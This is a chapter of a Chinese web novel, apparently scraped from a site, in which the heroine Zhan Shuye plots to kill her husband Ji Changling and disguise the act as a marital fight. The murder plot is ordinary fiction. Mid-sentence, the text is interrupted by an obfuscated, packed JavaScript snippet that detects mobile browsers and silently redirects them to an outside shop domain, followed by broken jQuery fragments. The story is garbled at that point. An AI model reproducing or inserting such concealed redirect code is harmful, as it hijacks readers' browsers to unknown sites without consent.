7.谋划
    杀人不外乎两种方式:明杀、暗杀,两种的共同点在于都需要人手。

    明杀,师出无名。

    暗杀,詹殊夜的侍卫不多,万一杀不了蓟长凌,侍卫活不成,她也会被逼供出来,整个詹家都将为她的行为背负上罪名,在越国公府的人面前,将再无法抬头。

    下毒?可行,但去哪儿弄毒药?且这法子不管成与不成,帮她弄毒药的人和她身边的侍女都一定会死。

    詹殊夜只想蓟长凌一个人去死,不想连累他人。

    不连累他人,便只能瞒着所有人自己动手了。

    詹殊夜没杀过人,连刀都没碰过。蓟长凌不一样,他蜂腰削背,四肢修长,强健有力,杀过的人不知道有多少。

    詹殊夜没亲眼见过他杀人,但曾经与他有过一次近距离接触,是在蕲州的时候,蓟长凌将她从贼首手中夺回,单臂箍腰,一眨眼就将她提到马车里,跟拎小鸡崽子似的。

    力量悬殊很大!

    怎么办?

    詹殊夜思虑重重,几天没睡好,这日睁眼,懒散洗漱后用了些早膳,依着窗边小榻继续谋划这事。

    琢磨了没一会儿,听见一道打趣声:“谁家小美人在这对窗惆怅呢?好生寂寥啊。”

    詹殊夜抬头,见庭院中一个相貌俊美、体态修长的年轻男人朝她走来,略显狭长的眉眼带着戏谑的笑一般,看着十分讨打。

    她瞧了一眼,看向跟在后面的云霜。

    云霜笑道:“怕人多会在身上沾了桂花味道,公子天刚亮就来了,一直在外面等小姐你醒来。”

    说话间,詹雪杭已经走近了,他不进屋,而是走向窗外,边走边道:“可不是嘛,遮得比出嫁的新娘子还严实,幸好我是乘马车来的,否则非得被夜巡官兵当做毛贼抓起来。”

    云霜和屋里的侍女听了,都哧哧笑起。

    只有詹殊夜不笑,板着脸问:“来干嘛?”

    “来干嘛?”詹雪杭一脸稀奇地学着詹殊夜的语气,大惊小怪道,“光听语气,我以为是蓟长凌在与我说话。小妹,你是不是在国公府待久了,沾上蓟长凌的味了?”

    话音刚落,就被詹殊夜在手臂上打了一下。

    “小气劲儿……”

    詹殊夜的手又扬了起来。

    “行行……”詹雪杭服软,抓着她的手按下去,道,“听说我妹妹不开心,我来看看是怎么回事。”

    詹殊夜知道他为什么来了,看向云霜。

    “是娘让她看着你的……云霜,去给我沏壶茶。”

    云霜应了声,领着侍女们下去了。

    等房间和庭院里都没人了,詹雪杭才正经了些,轻声问:“蓟长凌真欺负你了?”

    詹殊夜想杀蓟长凌,但不会在这事上胡说,摇头道:“是个误会。”

    詹雪杭松了口气,道:“既然是误会就不要想了,再过几个月太后丧期就满一年了,到时候你就与蓟长凌和离,大哥接你回家去……”

    自从詹殊夜嫁过来,詹雪杭隔三差五就会来看看,他知道沉香阁与国公府互不干扰,但有时候视而不见也是一种伤害。

    到底是国公府的外人,寄人篱下,终究是不自在的。

    且,自从詹殊夜与蓟长凌成亲,她那些闺中好友为了避免在詹府、国公府之间难做,鲜少邀请她出去游玩了。

    入府探望?更是从来没有。

    詹雪杭觉得妹妹很孤独。

    再有蕲州的事情之后,不知道有多少人把贼首逃窜的过失算到詹殊夜身上……

    “回家就不用看他们脸色了,再也不用受委屈了……”

    詹雪杭说得满腹心酸,詹殊夜却听得一心二用,胡乱“嗯”了一声,她在心中暗道一定要在和离前解决了蓟长凌。

    詹雪杭见妹妹不说话,以为她在委屈,又道:“蕲州的事情我与爹都在秘密调查,这事急不来,你不要怕……云霜说点了安神香就能睡着,香一灭就醒了?是不是梦见被贼首挟持的事了?”

    詹殊夜十七年的人生中遭遇过最可怖的事情就是被贼首劫持,詹雪杭从云霜那里得知她的噩梦与蓟长凌相关,理所应当地认为她梦见的是那日蓟长凌没有选择救她,而是眼看着她被杀害。

    不是。

    那件事对詹殊夜来说已经过去了,让她夜不能寐的只有在华画春堂外听见的恶毒诅咒,与那句“洗脚贱婢”。

    她常翻的那册话本子里说,那个六十七岁的老员外纸醉金迷,每年冬日最喜欢做的就是让侍女服侍他洗脚,二八少女细腻柔滑的小手搓着他那双干瘪粗糙的脚,这感受让他飘飘欲仙。

    话本子而已,詹殊夜看过就忘了,直到某一天她梦见自己跪在蓟长凌脚边,服侍他洗完脚,被他当做擦脚巾来用。

    洗脚贱婢……

    “是!”詹殊夜狠狠一眨眼,大声回答兄长,“我梦见蓟长凌为了抓贼首,一箭将我射穿!”

    詹雪杭拍着她手背道:“梦都是相反的。”

    “我知道随口一说和梦境都不能当真,可是我控制不住,我总是想,越想,越觉得它们终有一日会发生……”

    詹雪杭对妹妹的情绪束手无策。

    他想或许是因为妹妹总闷在屋子里,情绪压抑,带她出去走动走动,兴许能有好转。可现在城里城外,到处都飘着桂花……

    静了会儿,他道:“方府出了点事儿,现在正乱,我让人去接熙悦,让她陪你在这里住一段日子好不好?”

    方府人丁兴旺,姻亲关系很是杂乱,其中府长房儿媳是蓟长凌生母的胞妹,二房却与詹殊夜舅舅家结了亲。

    方熙悦这一辈的孩子,既是蓟长凌的表

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329804|152404||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    妹表弟,又与詹家有点亲戚关系。

    国公府里没个女孩子,蓟长凌又冷冰冰的难以接近,方熙悦才十岁大,爱玩,更喜欢长得漂亮的詹殊夜和爱与人说笑的詹雪杭。

    往日里见了詹家的人就比见了蓟长凌亲切,在蓟长凌与詹殊夜成亲后,每次到国公府,她都更愿意歇在沉香阁。

    她年岁小,来沉香阁小住几日无可厚非。

    詹殊夜很喜欢方熙悦,但她最近被正在秘密谋划的事情占据了全部心神,不想有人过来打搅。

    她没直接回答,而是好奇问:“方府出了什么事?”

    詹雪杭道:“方檬在外面养了个红颜知己,被他夫人发现了,两人起了争执,方夫人用花瓶在他脑袋上砸了个血窟窿。”

    詹殊夜:“……啊?”

    詹雪杭看见她不可思议的表情,笑了下,双臂支着窗棱道:“算他命大,没死,不过得养上好几个月才能恢复。不是什么光彩的事情,没往外声张,你当不知道就好。”

    “四夫人……”

    “也没事。”詹雪杭道,“怎么说的来着?哦对,夫妻打架,都是小事。”

    知道妹妹出不了门,闷的慌,詹雪杭特意把这些天京城里发生的大小事都说了一遍,在沉香阁留了小半日才离开。

    他走后,詹殊夜一个人沉思了许久。

    她想着方府的事情,回忆起那日云霜的劝说,她说蓟长凌若是没死,两家恩怨会加重,若是死了,她得给他哭坟。

    后面这句话点醒了詹殊夜。

    她和蓟长凌是夫妻,所以才要给他哭坟!

    使唤侍卫侍女去杀蓟长凌,得没得手,他们都一定是活不成的,且这是用了詹家的人手,她爹娘难逃其咎。

    相反,若是她因为夫妻间的事亲自与蓟长凌动手,蓟长凌死了最好,没死,事后追究起来,可以说是夫妻恩怨,换个说法,就是夫妻俩关起门来打架。

    伤了人,那是失手。

    夫妻打架,都是小事。

    很好,现在她就缺少一个动手的理由了。

    “红颜知己……”詹殊夜喊来雨晴,问,“蓟长凌有没有什么红颜知己?”

    雨晴想了想,道:“没有吧?他是夭矫不群,可他性子讨厌,谁会喜欢他?那些个夫人小姐更喜欢咱们家公子……”

    “哎呀!我问他,只说他就好。”

    “那应当是没有的,没听说过。”雨晴说着凑近,小声道,“他们自己府里的丫头都不爱往他那去呢,上回我还瞧见有人被他吓哭了……”

    詹殊夜先失望,再振奋。

    没关系,她可以帮蓟长凌找一个!

    蓟长凌瞒着她养了红颜知己,一不敬太后,不把皇室放在眼中,二轻慢了她,视詹府为无物。她怒火攻心,才与蓟长凌动手的!